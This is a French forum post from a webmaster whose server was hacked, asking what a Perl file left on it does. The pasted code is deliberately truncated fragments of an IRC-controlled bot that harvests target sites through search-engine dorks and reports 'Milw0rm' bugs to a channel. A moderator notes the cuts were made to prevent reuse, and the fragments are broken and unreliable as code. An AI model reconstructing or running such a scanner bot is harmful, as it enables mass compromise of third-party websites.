Après que mon hebergeur m'ai informé qu'on venait de me pirater, j'ai retrouvé plusieurs fichiers dans mon serveur FTP, dont celui ci, j'aimerais savoir ce qu'il fait...
Code : Tout sélectionner
#!/usr/bin/perl
#debu99 Is Here!
stampa($sk, "PRIVMSG $canale :15(7@2Milw0rm15)(12Bugs $bug[$x] - $ltt[$x]15)");
sleep 1;
}}
my ($type,$space);
my %hosts;
stampa($sk, "PRIVMSG $canale :15(7@2Scan15)(2$dork15)(2$bug15)");
t->new(GET=>$test);
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1")
}}}
sub stampa()
{
if ($#_ == '1') {
my $sk = $_[0];
print $sk "$_[1]\n";
ee;
return $str;
}
my @lst;
my $key = $_[0];
for($b=1;$b<=100;$b++){
my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
my $Res=query(
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
return @lst;
}
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($
$chiave =~ s/,/\%2C/g;
$chiave =~ s/\\/\%5C/g;
return $chiave;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
close($sock);
};
return $page;
{
next if $visti{ $elemento }++;
push @unici, $elemento;
}
return @unici;
}
Samuel
Modération :
Code partiellement tronqué pour éviter sa réutilisation malveillante
